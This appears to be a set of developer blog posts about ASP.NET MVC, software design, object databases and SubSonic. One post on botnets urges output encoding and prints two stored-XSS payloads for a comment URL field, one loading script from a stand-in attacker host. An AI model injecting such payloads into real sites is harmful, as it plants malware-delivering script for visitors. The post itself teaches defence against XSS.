2 – Control over HTML. I’m sure you’ve heard this before – mangled ID’s, non-validating HTML, etc. Why is this important? Because you might want to use client-side programming for something! I won’t bang this gong for too long – but it’s a lot more than “making ViewSource look pretty” – you’re communicating with super-finicky creatures (browsers) that love to argue – being able to smith the markup experience makes you a more valuable developer!

3 – Extensibility. Literally every part of MVC Is pluggable – and in the last 3 apps I wrote (Storefront, Nerddinner, and SubSonic’s MVC Starter) I used my own ViewEngine to save some time and work. I’ve spun up my own ControllerFactory so I can use IoC (which is awesome fun!) Understanding this is the keys to the kingdom for any developer! Have you ever been freaked out because you needed to use Page_PreRender to get something to load into the ControlTree properly so it will show when you need it to? MVC does not lock you into anything – you’re free to do what you want to.

4 – It Makes You Think… This is the one thing I never liked about WebForms – I never felt like I was thinking – just solving. May seem like splitting hairs, but not to me. I’d get a bit of inspiration and then try to figure out “hmmm – how can I make the form show it this way”. MVC is the opposite – the control is in your hands and you get to be free with it. You get to use your noggin! Wow!

5 – …Differently: Javascript Doesn’t Suck. jQuery, Dojo, extJS – whatever. These frameworks make client development so easy it’s actually fun. Phil and I have recently geeked out extensively using jQuery (he more than me) and I distinctly had the feeling that I’ve been missing something. Something that other platforms have had for years – the ability to make a web experience fun and magical (for a user) through client programming. It makes you think completely differently once you “get it” – and soon your server code is being drastically reduced in favor of light, clean client code (thanks to these frameworks) that work up an awesome experience. Cats love jQuery too.

It may seem weird to say it, but developers like to learn a language every few years – make javascript the one you learn this year. You might think you know it, but you probably don’t know it as well as something like C#/VB. Try to – it will change your development entirely from scheming out an interaction to how much code you write.

6 – Learning New Concepts. You’ve seen them everywhere, and seen us fighting about them. We probably shouldn’t argue so much :) but in a way, this is part of the learning process! Either way – take it upon yourself to learn some things. WebForms is a comfy blanket that can lull you to sleep over time. This has happened to a lot of us (myself included). We’re only now catching up with frameworks that have been creating rocking, compelling sites over the last few years – jog your brain! Wake yourself up and get to know the details that make compelling sites groovy! Learn the things that can help you write more nimble code – if only so you can argue from a point of knowledge!

7 – It’s Fun. This, to me, is the biggest reason. I find MVC fun because I can do what I want, when I want, how I want. I’m free to build an experience that I feel will sell my design, and I’m not hindered by a A Big Lie and a freaky cat with a wig on.

Summary
Bottom line: I’m having fun web programming again and I think that’s pretty motivating, at least for me and my cats. Yet Another Comparison, sure, but hopefully a bit more direct. You have absolutely no reason at all to not learn MVC – but I will concede there may be a reason or two for you to stick with WebForms.

I know many people might think I’m speaking for the rest of Microsoft – hardly. I’m biased and, more importantly, I actually still have my very own brain which forms its own thoughts! I love MVC and I think you will too – just please, please try it before you form an opinion.

Patterns, Purists, and Sinkholes

robconery — Thu, 12 Feb 2009 02:15:54 GMT

Before I was a geek, I was a Geologist. A Geophysicist to be precise – but mostly I just tell people I was a Geologist. I worked a lot with environmental cleanup, but I also spent a lot of time doing what’s known as “Geotechnical” work – the stuff that happens before buildings are built and holes are dug. It can be kind of boring, but it’s crucially important.

One day I was sitting in our lab with some dark Bay Mud in a crucible, slowly adding water in measured doses and then pouring the mud through a screen and weighing out differences. I won’t bore you with the details – I’ll just tell you that I was 23 and cranky that this is what my career amounted to – a bunch of rigorous nonsense where I got to weigh mud.

I started complaining and mumbling and my boss (who was a patient to no end) filled me in on some details:

What you’re doing, Rob, is measuring the amount of clay that’s in soil at this site. The water you’re using dissolves the clay, and the screen removes the sand from the clay/sand slurry that you’re mixing in the crucible. We need to know how much clay is in the ground so we can know how much it will swell in the winter when it rains. This will keep the building from expanding/contracting and falling over into resultant sinkholes.

I won’t bore you with the rest. Suffice to say this: building things has been around for a long time, and it took a WHOLE LOT of buildings falling over before some smart guys (let’s call them purists) got together and said “we should do it this way”. They then convinced their local governments and boom, the building code is born.

Geek Building Codes
My house is built on volcanic clay that’s been amended to some percentage of clay/sand/aggregate so that my house can stay standing for at least 50 years (not counting hurricanes). I’m pretty grateful for that, because I *absolutely know* that if the builder didn’t need to do it, he wouldn’t. Amending and backfilling that much soil sucks, and I don’t want to depend on the original builder to get that right (cause I tell ya, they skimped on a whole bunch of other stuff that I’ve been fixing!).

Our industry doesn’t have building codes and as such need to compare what we make with what other people make in order to gauge how good our stuff is. That usually results in purse fights and secret clubs, and rarely does much for us as an industry and I can see why people might shy away from engaging in these conversations.

But to stop asking is to stop learning. Worse yet – to suggest that it’s not even worthwhile is utterly absurd. It drives me nuts when people write posts that suggest that principles and standards of quality are cumbersome (even if they didn’t mean to suggest it – which I don’t think Jeff did – read the comments and you’ll know what I mean):

The bigger and more grandiose the set of rules you come up with, the more severe the danger. A few broad guidelines on a paint can begets thirty rules for painting, which begets a hundred detailed principles of painting..

Pretty soon you'll find yourself believing that every possible situation in software development can be prescribed, if only you could come up with a sufficiently detailed set of rules! And, of course, a critical mass of programmers patient enough to read Volumes I - XV of said rules. You'll also want to set up a few messageboards for these programmers to argue endlessly amongst themselves about the meaning and interpretation of the rules.

Now let’s transpose this sentence a bit, and apply it to an industry that’s just like ours (the building industry, as discussed above), but a whole lot more mature (my replacements in brackets):

The bigger and more grandiose the set of rules you come up with [for building houses], the more severe the danger [of never getting the house built]. A few broad guidelines on a paint can begets thirty rules for painting, which begets a hundred detailed principles of painting..

Pretty soon you'll find yourself believing that every possible situation in [building a house] can be prescribed, if only you could come up with a sufficiently detailed set of [plans]! And, of course, a critical mass of [builders] patient enough to read Volumes I - XV of [the local building code]. You'll also want to set up a few [city building inspectors] for these [builders] to argue endlessly amongst themselves about [whether the builder built your house properly].

Properly Breaking The Rules
Don’t get me wrong here – I’m not a complete dork espousing that we need to walk in step to a set of software building codes. People break the rules when building houses all the time – but they do it from a perspective of understanding what it is they’re breaking. For example – one of the greatest architects of our time (Frank Lloyd Wright) loved to break rules and even have fun with the concept – even creating things with no right angles at all.

I love breaking the rules. I can feel Steve Harman sweat a little bit when I write code ahead of a test and I’m absolutely sure baby Alt.NET cries a little when I embed a SQL statement in my code (which yes, I just did the other day and I’m damn proud of it – kids dont’ do this at home, I had my reasons). The difference is that I KNOW the reasons why this is bad – and I also know why I did it in the first place. I was able to work through the issues and ultimately decided that breaking some principles would be just fine in my case (and no, I’m not going to tell you what it was that I did – but you’ll dig it when you do see it).

Summary
I don’t like being negative and I feel like that’s what this post is – so let’s see if we can turn that frown upside down if only because I like Jeff a whole lot and I feel like I’ve been picking on him of late (that last post was all in good fun I should point out) – and when my computer blows up I’ll need his help some day :). I do know what Jeff was after with his point and I’ll go so far as to defend him on this – that blindly following rules instead of your skills is actually a detriment. But your skillz gotta be good if you’re going to diss the Gang of Four and Uncle Bob! What Jeff might have wanted to say is:

LEARN THESE RULES FIRST AND USE THEM! Then you can decide if they don’t fit what you’re doing!

The people that made those principles up are quite smart, and have been doing this for a long, long time. Please don’t take Jeff’s post as the 3:00 school bell (where you run out to the parking lot and smoke cloves and drink wine coolers with your emo friends) – you’re *not* excused.

5 Secrets To Ninja Writing

robconery — Tue, 03 Feb 2009 07:19:09 GMT

Sometimes I find myself with absolutely nothing to say and yet decide to write a post anyway. Do you ever have that problem? I sure do – and I thought it might be fun to share some secrets with you about how you can salvage the day when you decide to write a post, and have nothing to say.

I found this quote of a quote by Jeff Atwood to summarize nicely my feeling on blogging and inspiration:

Consider your writing a natural extension of your spoken conversations. If you aren't comfortable reading it out loud, rewrite it until you are. In the words of Elmore Leonard:

If it sounds like writing, I rewrite it.

Secret #1: Find a good quote, quote it, restate it, and revolve your post around it. For added effect (in case you feel like you really can’t get your/their point across), make sure to (Secret #1.5) simply bold the summary of the sentence, which gives it a weight of summarily representing the original quote in a different manner, rendering the initial thought yours.

Make sure to follow up the initial quote (which should establish the point of the post) with another quote/summary pairing that supports it and allows you to be clever – even if it ultimately distracts from the original point. Rob Conery states this very concisely:

Make sure to follow up the initial quote (which should establish the point of the post) with another quote/summary pairing that supports it and allows you to be clever – even if it ultimately distracts from the original point

Secret #2: Inject a completely random image of something that’s supposed to be symbolic:

Secret #3: Should you lead off the following paragraph with a question? Probably not – but if you’re worried about this you can always answer yourself with a bolded sentence, thus creating and disposing a nice recursive black-hole paragraph in one pass. For good measure, make sure you follow this up with another long quote from someone who’s books you read a lot of:

Now wait a minute, Mr. Socks Fox!

When a fox is in the bottle where the tweetle beetles battle
with their paddles in a puddle on a noodle-eating poodle,
THIS is what they call...

...a tweetle beetle noodle poodle bottled paddled
muddled duddled fuddled wuddled fox in socks, sir!

Fox in socks, our game is done, sir.
Thank you for a lot of fun, sir.

Secret #4: Lotsa Links. It’s important after a quote (especially one with the magnitude of Fox in Socks) to pick up the thread and carry it forward to the next idea: Make sure you have a plethora of links to other important things you’ve written. Especially if they’re on the topic at hand. Self-linking is crucial to driving more hits to your blog. Jeremy Wagstaff of loosewire puts it very well:

It's a nuisance more than a crime, but to me it still undermines a central tenet of the web: links should be informative and not misleading. If you are linking to anything other than what your reader would expect, then you're just messing around with them.

Clearly Jeremy understands the impact that proper self-linking can provide, when done properly.

Secret #5: The finish of the post is your money shot – the thing that your readers will remember as they warm up their keyboards to tell you that your blog is starting to suck and your writing has become stultifyingly formulaic and boring. Make sure that you restate what you’ve said, and (keeping in mind Secret 1.5) finish up by confirming that the previous 5 or so minutes were a complete waste of your readers time. Or just ask them what they think and be sure not respond to comments :).

Software Design Kuleana

robconery — Fri, 16 Jan 2009 21:17:19 GMT

Last year I tore apart my kitchen with a sledge hammer and a crowbar. I knocked a wall down, ripped out the old, crumbly cabinets, and tore up the 20-year old vinyl flooring that was discolored and horrifically 80’s. I specifically remember using my crowbar to pull off one section of cabinets, sawing it completely in half with my Sawzall, and then flinging it off my lanai, crashing into the ground below, exploding into broken pieces of Bad 70’s Kitchen Cabinetry.

Out of this came an awesome kitchen remodel that we worked really hard for:

From House Pics

Awesome Except for One, Massive Thing
See those counter tops? They’re concrete. A choice my wife and I made because we love the look and also because we wanted to be as “green” as possible. Our contractor was highly recommended (friend of a friend) and his price was right – not the cheapest but within our budget. He came in and spent about 2 hours with us one day, meticulously laying out measurements and “layouts” that would help him create the cast. This is when I started to get uneasy.

“I thought you were going to build the forms right here and and poor everything in place so we won’t have seams and everything remains level” I asked.

“Sure, I could do that but if I use forms then I can cast everything upside down in my workshop with this special material that will leave a nice, shiny surface that won’t need to be polished endlessly. Saves on hours and also keeps the mess down – otherwise I’d probably make a mess of your kitchen. Also, if any part of it breaks in the future, you can just replace a section and not the whole counter”.

Saving money and mess – sounded like a good argument. Also it seemed like a good “maintainability” plan which appealed to my geek side.

On the day he delivered the counter we found out he had to create more sections than he anticipated, due to weight and fragility. The section next to the sink was liable to break during installation, so he played it safe and made one section into two. This made me uneasy again – the seam was right down the middle of the sink and seams and sinks don’t make good friends (food, water, etc). But I trusted him, so on we went.

Once all the sections were fitted in, the contractor sat there and stared at it and said the words all homeowners dread: “hmm, that’s a little bigger than I thought it would be”. And thus started our adventures in counter-top pain. Over the course of the next 6 months everything with the counter went to hell:

He used the wrong edging on the forms so that the seam edges were rounded (normally you only want the outer edges of the counter to be rounded so they’re not sharp). This caused the seems to have a 1/2 inch gap – not good.
He filled the gap using concrete putty, with his fingers. It looks like my 6-yr old did it.
He punched a hole through the section next to the sink when he was drilling the supports (from underneath) for our dishwasher. He tried to patch it but it didn’t work since it looked like… a patched hole in the nice concrete counter. He hired a “touch-up” artist to paint over it and it looked OK for 4 months until the paint started to peel off. It wasn’t supposed to peel, but it did because …
He forgot to seal the countertops. The first time I cooked on the stove I stained the counter around it with a nice dark halo, caused by the exceedingly greasy stir fry I made.
When he ultimately sealed the counter tops, he used the wrong sealer. It wore off in 4 months (it was water-based and they don’t work so well when you wipe counters off with water-based water on a towel) and pretty soon we had glass rings, metal leachate rings (white rings from metal contact), and juice stains.

Long story short – he eventually stopped returning our calls and we didn’t pay him. Everything came to a head last week when he asked to get paid (believe it or not) and I basically told him:

I’m not paying you for effort, I’m paying you for countertops. I don’t have those – so you don’t get paid.

He then said “oh well, I guess we’ll call it a writeoff and a hard lesson learned.”. Which means I ultimately lose in this deal as I now have to clean up his mess (and pay someone to do it). I might just whip out my sledge hammer and crowbar again…

Why I’m Telling You This Story
How many times have you gotten into a scrape with a client or boss? Have you ever grumbled when they’re seemingly unreasonable and tell you what technology to use? I have, and it’s no fun.

In this case my contractor was focused on how best to get things done with minimal “friction” and maximum maintainability. Believe it or not – sometimes that kind of thing may actually hinder the delivery of what your client wants. For instance:

How many times have you shaved the scope because of a particular architectural design choice?
How many times have you had to rip out a technology set at midnight and then code all night long to get your client’s site back online?
How many times have you talked a client out of a feature because it wouldn’t fit with your design choice?

If you’ve said “never” to all three of these – I applaud you (I can’t do that). Or maybe you should go look in the mirror and see how long your nose is :). My point is that the client ultimately trusts you, but that trust has NOTHING to do with technology and everything to do with delivering what they expect to see. Mastering this understanding is at the core of what we do, and almost always at the core of every client disagreement.

If you’re about to tell me “yes but clients always change their mind” – I’ll agree with you. I’ll also say that since you know this, you should be ready for it. In my case I didn’t change my mind on my counters – it was changed for me (which happens a lot too). The contractor did his best but I didn’t get what I wanted – nice countertops. He didn’t get paid – the equation is simple.

Now I could have sat there and told him “no – I don’t want sections, I want you to cast it in place. I also want you to make sure to use small screws when putting in the dishwasher, and also make sure you use a top of the line concrete sealer” – but should I have needed to do this? Moreover – I didn’t even know these were issues until they became issues.

This mess could have been avoided if…

We had a better dialog. I should have made it clearer what I was willing to compromise on, and what I wasn’t. Likewise he should have explained a bit more (visually) on what I was going to get out of the deal.
He had a better work ethic or “Kuleana” – a personal responsibility. He should have replaced everything the minute he realized how bad it was. I let him know, believe me, and he chose to walk the other direction. I could have (probably should have) chased him down to make things right, but it’s a small island over here and I figured he’d be back for his money (and he was).

What’s Your Kuleana?
All the things we argue about on Twitter and in blog posts, your “Kuleana” is primarily to your client, not yourself or the industry at large. Hopefully the two go hand in hand, but if you find yourself saying “my client doesn’t get it” or “man I wish they let me do X,Y,or Z” then you need to reflect on what it is YOU are doing to foster this situation.

One of the neat things DDD has is the Ubiquitous Language – the structured dialog that builds client understanding. I think this is just a fancy word for “being a good consultant” – something that you are or are not. You’ve heard it before, but it’s very, very true:

Being a good [relevant partner in a relationship] requires you to listen

Marriage, friendship, consulting, blogging, Twitter, bowling league on Wednesdays. You have to have listening skillz or you’re not a good [relevant partner in a relationship]. So many client failures can be avoided by realizing the burden of listening is on US, not them. We’re here to solve their issues – it’s our Kuleana.

More OODB Crazy Talk

robconery — Mon, 12 Jan 2009 21:38:38 GMT

I listened to the Alt.NET Podcast the other day and there was a crazy guy who sounded an awful lot like me on there talking about Object Databases. Doesn’t he know they’re not cool? He must have some kind of career death wish – the need to trash his reputation (or create flame-bait) in the name of Something Fun To Do. I’m not sure he elucidated his thoughts very well, so I’m here to help him out with some details that many of you might not be considering.

There’s a Difference in Your Data
One major point that didn’t come out in the discussion until the end was the idea that your application deals with different “types” of data at different times. Yes, I know this sounds weird, but consider it for a moment in terms of the Road Trip. Let’s roll back to college for a moment – your buddies want to head to Ensenada for the weekend, and you need to figure some things out before you go:

There are people involved – how many are coming?
Depending on the amount of people, you’ll need some cars to transport them
No road trip is complete without roadtrip tunes – you’ll need some groovy tunes to listen to
Junkfood! You have to have some of that for sure!
Camping supplies (which usually is a towel to sleep on and more beer to pour over the little boxes of Cap’n Crunch – called “Crunch Bombs” – in the morning)

That’s probably enough. In this we have our Ensenada Domain Model – all of the “objects” we’ll need to have a good time on our Road Trip (I’m sure you can think of more, but I’d like to keep this post PG, at least). These objects comprise what I’ll call “Functional Data” – the stuff you need for your application to properly engage the user.

The next type of data is “Derivative” or “Resultant” data – the stuff that comes out of the application experience. You can think of this as the result of a User’s experience with your application – the choices they make, the stuff they view, the behaviors they exhibit when interacting with your creation. This type of data has no upper bound, is time-stamped, and is ultimately what the stakeholder cares about the most – I’ll come back to this.

On our Ensenada trip – the “resultant” data is what happened on the trip itself:

The midnight swim in in various states of dress
Fish tacos and Coronas after 6 hours of surfing, when [Slacker Friend] passed out next to the fire after telling everyone all day how he would rage into the night and through to the next day
Watching the full moon rise as you’re falling asleep under the stars
Waking up with ocean dew on your face, slamming some Crunch Bombs, and heading out for Dawn Patrol with your friends
Hanging with your best friends and knowing that you’re in college and this kind of freedom won’t last forever

This type of data revolves around the experience - the stories you tell afterword, the pictures you might share, the things you see, etc. Pulled together these things create the “value” of the whole enterprise – it’s Why You Did It In The First Place. This type of data is what the business guys are after and what they care about the most.

Put The Data Where It Belongs
The two kinds of data I’m talking about here sort of have their own needs in terms of storage, which you can probably guess:

The Ensenada Domain Model belongs in something that can support an OO structure the best
The Ensenada Experience Data belongs in something that can support a lot of data and build interesting stories (aka “queries”), with a great degree of fidelity.

In short: put the domain stuff in an OODB, put the “result” stuff in a relational (or OLAP) system.

Some Real World Examples Please…
Let’s put this in concrete examples, keeping in mind that an OODB and RDBMS can exist together quite happily:

Commerce: Products, Categories, Sales/Coupons, Users – these are domain constructs subject to complex relationships. Put em in an OODB. Orders, statistical tracking (such as times viewed, added to basket, etc) etc. are “resultant” data – stick it in an RDBMS.
Blog/Forums: Users, Posts – domain data. Comments, Pingbacks, Links, Ratings – resultant data.

These examples are of course very arguable :) and might change based on your needs for an application. The bottom-line premise sort of remains the same:

ORMs can’t hit the 100% Object-Oriented Domain Model for a reason: Object Oriented Design != Relational Design. It just is. It’s time to frame persistence in terms of the design required for the data it’s storing.

Note: I am very aware of that many of the tools out there (NHibernate in particular) can work around a lot of these issues. If you know NHibernate well enough to figure out that you have a problem and how to fix that problem. I say why worry about it? Sure SubSonic is fun and awesome – it’s my baby. I think it would play very well tracking how many Fish Tacos and Crunch Bombs you consumed on your Ensanada trip – so use it to do that!

One thing I hear quite often (and I’ve read a good many posts on OODBs since the Alt.NET podcast) is that people don’t think OODBs are performant (this word brought to you by Jon Galloway). The truth of it is that in most cases they will out perform most RDBMSs – IF you use them properly. The same can be said of an RDBMS … it’s all about proper use of technology. These things have come a long way and running “deep graph” queries doesn’t cost all that much, as long as you play by the rules of your OODB vendor.

But this brings us back to the overall suggestion here: if you’re running Deep Graph queries on your OODB, chances are you’re not storing your data in the right place! OODB queries should really be quick access of objects for your Domain to function – not deep dives into a User’s order history. That’s for the relational system!

Summary
If you’re offended, freaked out, excited, nonplussed, hung over, or otherwise maxxed out in one way or another after reading through all this – hooray! Crazy Talk is good, usually, for one of two things:

Testing what we believe, and affirming that The Way We’re Doing It is Right For Us
Testing what we believe and offering a Whole New Way To Do Something That Makes Us Feel Better

What do you think? And as always, the more detail you can offer, the better! If you think I don’t know what I’m talking about – you’re most likely correct.

Where’s MVC Storefront?

robconery — Wed, 31 Dec 2008 18:58:00 GMT

A lot of people have been asking about the Storefront and whether I’ve abandoned it with all that’s gone on with Oxite, etc. The short answer is no – I haven’t. And believe it or not, Oxite didn’t impact anything with respect for the storefront at all. I promise!

The deal is that I’m on vacation right now for 2.5 weeks or so in Portland (LOVE IT here). While on vacation I’m stealing time to work on stuff – mainly our forthcoming book. The rest of the time I’m hanging with my family and trying not to freeze to death. People tell me we’re below the Arctic Circle, but I think Portland may actually be somewhere north of Juneau, and they move it around just like in Lost.

The good news is that I have a new one of these things:

I really can’t say enough about it. This may sound completely silly, but the thing that sold me was the construction of the case – it’s milled from a solid piece of metal. If you notice in the picture – there are no seams. The display is covered completely with a protective glass – this is huge if you have kids that like to poke at Diego and Dora on the screen. It also makes it very easy to clean.

It’s literally about twice as fast as my 2 yr. old Mac Book – the main reason being the Core 2 Duo processors and DDR3 RAM (which is a big step up from 2 years ago). The price tag is still pretty spendy – the base Mac Book Pro comes in at $1990, the upgraded version is $2499. The good news, however, is that the upgraded version has a bigger hard drive and fills all the RAM slots so you don’t need to buy more RAM – it’s already maxxed at 4G.

To be honest I feel completely lame for buying this thing with the economy the way it is. The truth of it, however, is that I will be travelling a lot in the coming year and my wife has sort of taken over my old MBP. We could share – sure – and we probably should have. I feel a bit like I’m fiddling while Rome’s aflame. It’s my job, however, and there are things that you can categorize as luxury, as equipment, and as both. I happen to be very high maintenance when it comes to equipment :) and buying a computer every 2 years really is not that crazy.

A Word About Rails
Macs come with Rails installed (1.2.6 I believe) as well as Ruby (1.8.6). I usually wipe it completely out and start from scratch (I leave Ruby though) as I never trust factory installs with anything.

It took me about 15 minutes to download and install the latest Rails version (2.2.3) as well as update Gems and install TextMate. I hadn’t played with Rails in a while and it was a lot of fun to see what’s come of the framework in the last year and a half. The use of SQL Lite is an interesting one – not too sure what I think of it but it made the experience a lot more simple I must say.

The reason I bring this up is simply to say that I’m not losing site of the type of simplicity I love. I’ve ventured deep into DDD land of late (as well as some other areas) and messed around with the more “ornate” and “baroque” sides of development. Hopefully you won’t read an opinion in there – I’ve learned a WHOLE LOT and I have to say that I’m 100 times the geek I was before I started.

The thing I’m getting at here is that I love simple things. Truly. It’s one of the reasons I really dig the MacBook: the design is soooo clean and simple, the buttons are just the right size, and there isn’t a lot of “engineering filigree” all over the thing. It’s quite Zen.

To bring us back to where I started (with the Storefront) – it’s always been my focus to keep it simple yet powerful. There is some work left to do with my refactoring, but I’m taking some time away right now to regenerate mind, body, and spirit and hopefully my journey will benefit you in the end.

The Perfect Storm Botnet

robconery — Sun, 14 Dec 2008 07:47:00 GMT

I'm sure you've been told, numerous times no doubt, about Cross-site scripting and that it's bad. I think, for most developers, the only fear they have of XSS is looking foolish when someone hacks their site, shredding the layout of their pages and sending popups all over the screen. At least that's what I thought a while back. And it's all because I didn't quite get the depth of the soul-corroding evil that uses XSS as a primary attack point. Nor how pervasive it is.

Come with me, friends, on a Dante's journey into the black, horrible, dirty depths of the Botnet - The Hordes of zombie drone computers on the internet that work to Enlarge your Penis, sell you Cialis, and melt your face.

An Inconvenient Zombie Death Army
I was studying up today on a book I'm writing (the security chapter) and I decided to devote the afternoon to getting to know more about spam, spammers, and the viruses they write. I know that most machines, when they get infected with a trojan or worm, become part of a larger network which coordinates distributed sending of nasty email. What I didn't know just how evil these things really are (from Wikipedia):

The [Storm] botnet reportedly is powerful enough as of September 2007 to force entire countries off the Internet, and is estimated to be capable of executing more instructions per second than some of the world's top supercomputers. However, it is not a completely accurate comparison, according to security analyst James Turner, who said that comparing a botnet to a supercomputer is like comparing an army of snipers to a nuclear weapon

If that made you catch your breath a bit, read on...

At certain points in time, the Storm worm used to spread the botnet has attempted to release hundreds or thousands of versions of itself onto the Internet, in a concentrated attempt to overwhelm the defenses of anti-virus and malware security firms. According to Joshua Corman, an IBM security researcher, "This is the first time that I can remember ever seeing researchers who were actually afraid of investigating an exploit."

It's one of those things that you really don't want to know about; but it's really hard to pull yourself out once you're in. This rat-hole goes very, very deep. But is it all real? Or is it just some hyped up marketing prattle to get you to buy an Antivirus? You decide for yourself.

The Picture of Evil: The Srizbi Trojan
Srizbi is only a few years old and is most likely a mutation of one of its precursors. It's a very small trojan, but it packs one hell of a punch (emphasis mine):

Apart from having an efficient spam engine, the trojan is also very capable in hiding itself from both the user and the system itself, including any products designed to remove the trojan from the system. The trojan itself is fully executed in kernel mode and has been noted to employ rootkit-like technologies to prevent any form of detection. By patching the NTFS file system drivers, the trojan will make its files invisible for both the operating system and any human user utilizing the system. The trojan is also capable of hiding network traffic it generates by directly attaching NDIS and TCP/IP drivers to its own process, a feature currently unique for this trojan. This procedure has been proved to allow the trojan to bypass both firewall and sniffer protection on the system.

Once the bot is in place and operational, it will contact one of the hardcoded servers from a list it carries with it. This server will then supply the bot with a zip file containing a number of files required by the bot to start its spamming business. The following files have been identified to be downloaded:

000_data2 - mail server domains

001_ncommall - list of names

002_senderna - list of possible sender names

003_sendersu - list of possible sender surnames

config - Main spam configuration file

message - HTML message to spam

mlist - Recipients mail addresses

mxdata - MX record data

When these files have been received, the bot will first initialize a software routine which allows it to remove files critical for revealing spam and rootkit applications. After this procedure is done, the trojan will then start sending out the spam message it has received from the control server.

This trojan actually patches the NTFS file system in a sort of "Jedi mindtrick" which tells it "I am not the trojan you're looking for". Not only that, it's able to talk DIRECTLY to the TCP/IP drivers, and hide in their cargo hold on the way out of the server bay. That, friends, is nutso.

The most insidious part of all of this is that Srizbi is written using this toolset called MPack, which is a PHP-based, commercially available malware kit. Yes, that's correct - it's a malware SDK:

Unusual for such kits, MPack is sold as commercial software (costing $500 to $1,000 US), and is provided by its developers with technical support and regular updates of the software vulnerabilities it exploits. Modules are sold by the developers containing new exploits. These cost between $50 and $150 US depending on how severe the exploit is. The developers also charge to make the scripts and executables undetectable by antivirus software.

This malware kit is especially effective at exploiting XSS holes in websites that aren't entirely prepared for XSS:

The server-side software in the kit is able to customize attacks to a variety of web browsers including Microsoft Internet Explorer, Mozilla Firefox and Opera. MPack generally works by being loaded in an IFrame attached to the bottom of a defaced website. When a user visits the page, MPack sends a script that loads in the IFrame and determines if any vulnerabilities in the browser or operating system can be exploited. If it finds any, it will exploit them and store various statistics for future reference.

Included with the server is a management console, which allows the attacker deploying the software to view statistics about the computers that have been infected, including what web browsers they were using and what countries their connections originated from.

In fact, it's been estimated that if it weren't for XSS, propagation of spam trojans like Srizbi would drop dramatically. As it stands, the network propagates itself using "Stupid Theme", wherein people are sent emails that say "we have video of you naked, click here". The subject matter changes (from naked celebrities to instant fortunes) but occasionally people end up clicking on them, get sent to a compromised site, then BAM, another drone is born.

Evil's Super Evil Twin: The Storm Worm
The Storm worm is like Srizbi, but just a tad scarier. It's spread by a system of servers that utilize a DNS-switching routine called "fast flux". Fast flux involves using one or more zombie hosts as a DNS proxy (singular or in series), and the de-registering/re-registering address records and aliases up to twice a minute. This server army is literally impossible to locate and therefore makes the Storm botnet sort of unstoppable.

The thing that sets the Storm botnet (the fleet of zombie computers infected with the worm) apart is that it's actually capable of defending itself - on its own:

The Storm botnet was observed to be defending itself, and attacking computer systems that scanned for Storm virus-infected computer systems online. The botnet will defend itself with DDoS counter-attacks, to maintain its own internal integrity. At certain points in time, the Storm worm used to spread the botnet has attempted to release hundreds or thousands of versions of itself onto the Internet, in a concentrated attempt to overwhelm the defenses of anti-virus and malware security firms.

Mess with the worm, get the DDoS horns. More from Joshua Corman:

"If you try to attach a debugger, or query sites it's reporting into, it knows and punishes you instantaneously. [Over at] SecureWorks, a chunk of it DDoS-ed a researcher off the network. Every time I hear of an investigator trying to investigate, they're automatically punished. It knows it's being investigated, and it punishes them. It fights back," Corman said.

The crazy part about all of this is that no one's really sure just how big this zombie death army is, after all it doesn't want to be seen, and doesn't want you know it's there. These guys make money on a very weird scale: only 1 in 10 million spam emails sent results in payment - therefore to make more money you need to send more email. If you're busy being evil, you're not sending mail. Moreover you're exposing yourself and your operation - it's best to remain silent and hidden, growing your Death Army one machine at a time:

According to Matt Sergeant, chief anti-spam technologist at MessageLabs, "In terms of power, [the botnet] utterly blows the supercomputers away. If you add up all 500 of the top supercomputers, it blows them all away with just 2 million of its machines. It's very frightening that criminals have access to that much computing power, but there's not much we can do about it." It is estimated that only 10%-20% of the total capacity and power of the Storm botnet is currently being used.

Spam is organized, sophisticated, and utterly morose and evil. It goes beyond annoying when you consider the power these guys have at their fingertips, and that we just can't catch them. But there is something you can do, and it's so small and so very, very simple. In fact it's only 10 little letters:

Html.Encode

Why, you may ask? Because a primary vector of release for these things is from script-injection, where the bad guys use your site to link off to a zombie host, which contains the nasty-script that wants to eat your computer's face. You can do something about this - and you should!

You Are Not Prepared
Over the last year, people have been very quick to point out that many of the samples I've created have been vulnerable to XSS. Sheepishly I've made the fix, each time, kicking myself for being lame. We didn't need to worry about this so much with Web Forms, but with MVC and hand-rolling HTML, the issue is become greater, and more awareness is needed.

Yesterday as I was reading over Oxite's source code with Damien Guard (this is not to pick on them - just an illustration how easy it is to let stuff slip), I entered this in to the URL field of the comments:

"><script>alert("ha ha ha I suck");</script><a href="

Update This has been fixed at MIX online - please don't bother trying.

And wouldn't ya know it - it worked perfectly - popping up a really annoying message every time I opened the page up. This happened every time, because the database saved the comment, then planted my nasty script every time the page loaded - this is called "passive script injection".

Now if I was evil, I could have done something like this (of course this URL is fake):

"></a><script src=http://srizbitrojan.mynastyninjasite.com/spreadbadness.js></script> <a href="

This is the comment author's URL, and his name will be linkable even if you have this script line in there. If I had my hands on MPack, who knows what kind of stuff I could have done!

To get around this, all the developer needed to do was to

Be aware of the evil that lies behind XSS, and why it wants to melt your face and eat your children and
Use Html.Encode() on ANYTHING that is output on a page.

Please, for the children, encode your output.

Further Reading
I had a really good time investigating the chapter I'm writing, and if you're interested in any of the above, here are some links to get you started. It's good stuff to know, but you'll get dirty along the way:

SubSonic 3 Alpha Updated

robconery — Thu, 11 Dec 2008 00:28:06 GMT

Many thanks to the folks who downloaded and ran the alpha. As I figured, I missed a few things. The good news is that I've fixed them, and 99% of them were with the templates - which is good news because it means that you could have fixed them if you had to :).

But first - I'd like to say a big HELLO! to all the folks at CodeBetter, because as of today, I will be cross-posting my blog there. Indeed it's quite an honor and many thanks to Jeremy Miller for inviting me!

Here's the updated list of bits:

Fixed an SP bug that would result in the command type not getting set properly
Restructured and re-organized the namespacing
Renamed the DLL to SubSonic.Core, rather than SubSonic (forgot to do that earlier)
Fixed up the _Settings.tt template to more accurately convey just WTF it is you're setting
Fixed a foreign-key naming bug which allowed spaces through
Fixed a bug with self-referencing tables, wherein a child property could wiggle through and end up having the same name as the parent
Fixed a commenting issue in the Repositories, which VS didn't like

You can download the source, if you like, or grab the download here (DLL plus templates). If you have a question - you can leave a note here or (preferably) ask it here, on our mailing list.

Setup Walkthrough
I was asked on the comments of my last post for a walkthrough - so here it is. Setting up SubSonic 3:

1) Download the bits.

2) Open Zip file, and put on your hard drive somewhere

3) Create a project and add an app/web.config file

4) Add a VALID connection string to your favorite DB

5) Edit the _Settings.tt file, letting it know the name of your connection string and whatever Namespace you want for your generated objects:

6) Drag the _Generated file into your project - put it where you like

7) You're done. Go grab a soda, then start coding.

If you want more information about how to use what's generated for you, read more here and also read up here.

